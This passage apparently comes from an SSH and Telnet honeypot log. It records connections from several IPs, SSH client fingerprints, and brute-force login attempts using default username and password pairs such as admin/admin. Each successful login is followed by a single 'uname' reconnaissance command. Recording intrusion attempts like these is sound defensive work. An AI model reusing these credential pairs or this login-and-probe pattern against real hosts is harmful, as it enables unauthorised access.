com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:45.864712Z","src_ip":"45.153.34.195","session":"3e9f99e5fa03","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:46.360431Z","src_ip":"45.153.34.195","session":"3e9f99e5fa03","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:46.600339Z","src_ip":"45.153.34.195","session":"3e9f99e5fa03","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:46.603825Z","src_ip":"45.153.34.195","session":"3e9f99e5fa03","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:46.691139Z","src_ip":"45.153.34.195","session":"3e9f99e5fa03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:46.696216Z","src_ip":"45.153.34.195","session":"3e9f99e5fa03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":9450,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c2cfde5ff33","protocol":"ssh","message":"New connection: 150.136.214.177:9450 (10.17.0.5:22) [session: 5c2cfde5ff33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:46.843595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:46.848431Z","src_ip":"150.136.214.177","session":"5c2cfde5ff33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:46.874259Z","src_ip":"150.136.214.177","session":"5c2cfde5ff33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testpass","message":"login attempt [test/testpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:47.012228Z","src_ip":"150.136.214.177","session":"5c2cfde5ff33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":58182,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2d0e0b35306","protocol":"telnet","message":"New connection: 94.23.66.112:58182 (10.17.0.5:23) [session: e2d0e0b35306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:47.584028Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:48.042015Z","src_ip":"150.136.214.177","session":"5c2cfde5ff33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":25576,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fec4a8b8f9d","protocol":"ssh","message":"New connection: 45.153.34.195:25576 (10.17.0.5:22) [session: 9fec4a8b8f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:48.656961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:48.662522Z","src_ip":"45.153.34.195","session":"9fec4a8b8f9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:48.754243Z","src_ip":"45.153.34.195","session":"9fec4a8b8f9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"user01","message":"login attempt [user01/user01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:49.165566Z","src_ip":"45.153.34.195","session":"9fec4a8b8f9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43830,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea368519bebe","protocol":"ssh","message":"New connection: 91.92.40.36:43830 (10.17.0.5:22) [session: ea368519bebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:49.229427Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:50.250700Z","src_ip":"45.153.34.195","session":"9fec4a8b8f9d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:50.460529Z","src_ip":"91.92.40.36","session":"ea368519bebe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:50.464033Z","src_ip":"91.92.40.36","session":"ea368519bebe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":57892,"dst_ip":"159.203.135.109","dst_port":22,"session":"2220078c8e8f","protocol":"ssh","message":"New connection: 160.187.180.146:57892 (159.203.135.109:22) [session: 2220078c8e8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:50.566681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:50.571318Z","src_ip":"160.187.180.146","session":"2220078c8e8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:50.804302Z","src_ip":"160.187.180.146","session":"2220078c8e8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":25580,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccd21374722e","protocol":"ssh","message":"New connection: 45.153.34.195:25580 (10.17.0.5:22) [session: ccd21374722e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:51.579166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:51.583025Z","src_ip":"45.153.34.195","session":"ccd21374722e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:51.673259Z","src_ip":"45.153.34.195","session":"ccd21374722e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"forward","password":"123456","message":"login attempt [forward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:51.764571Z","src_ip":"160.187.180.146","session":"2220078c8e8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@@","message":"login attempt [root/@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:51.943743Z","src_ip":"45.153.34.195","session":"ccd21374722e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:53.000050Z","src_ip":"160.187.180.146","session":"2220078c8e8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:53.027559Z","src_ip":"45.153.34.195","session":"ccd21374722e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:53.513305Z","src_ip":"91.92.40.36","session":"0bc7b689ce2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":12388,"dst_ip":"10.17.0.5","dst_port":22,"session":"43219b1213b8","protocol":"ssh","message":"New connection: 45.153.34.195:12388 (10.17.0.5:22) [session: 43219b1213b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:54.487506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:54.493023Z","src_ip":"45.153.34.195","session":"43219b1213b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:54.580126Z","src_ip":"45.153.34.195","session":"43219b1213b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:54.867695Z","src_ip":"45.153.34.195","session":"43219b1213b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:55.951395Z","src_ip":"45.153.34.195","session":"43219b1213b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":12400,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ba03265ce0d","protocol":"ssh","message":"New connection: 45.153.34.195:12400 (10.17.0.5:22) [session: 9ba03265ce0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:57.359540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:57.367389Z","src_ip":"45.153.34.195","session":"9ba03265ce0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:57.449531Z","src_ip":"45.153.34.195","session":"9ba03265ce0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"moodle","password":"moodle","message":"login attempt [moodle/moodle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:57.650738Z","src_ip":"91.92.40.36","session":"ea368519bebe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123","message":"login attempt [david/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:57.709514Z","src_ip":"45.153.34.195","session":"9ba03265ce0d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:58.642181Z","src_ip":"91.92.40.36","session":"0bc7b689ce2d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:58.645406Z","src_ip":"91.92.40.36","session":"0bc7b689ce2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:58.792894Z","src_ip":"45.153.34.195","session":"9ba03265ce0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54262,"dst_ip":"10.17.0.5","dst_port":22,"session":"a77862c8d726","protocol":"ssh","message":"New connection: 91.92.40.36:54262 (10.17.0.5:22) [session: a77862c8d726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:59.519100Z"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:59.781051Z","src_ip":"91.92.40.36","session":"ea368519bebe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":12402,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4469ea92d5b","protocol":"ssh","message":"New connection: 45.153.34.195:12402 (10.17.0.5:22) [session: b4469ea92d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:00.227665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:37:00.250560Z","src_ip":"45.153.34.195","session":"b4469ea92d5b","protocol":"ssh"}
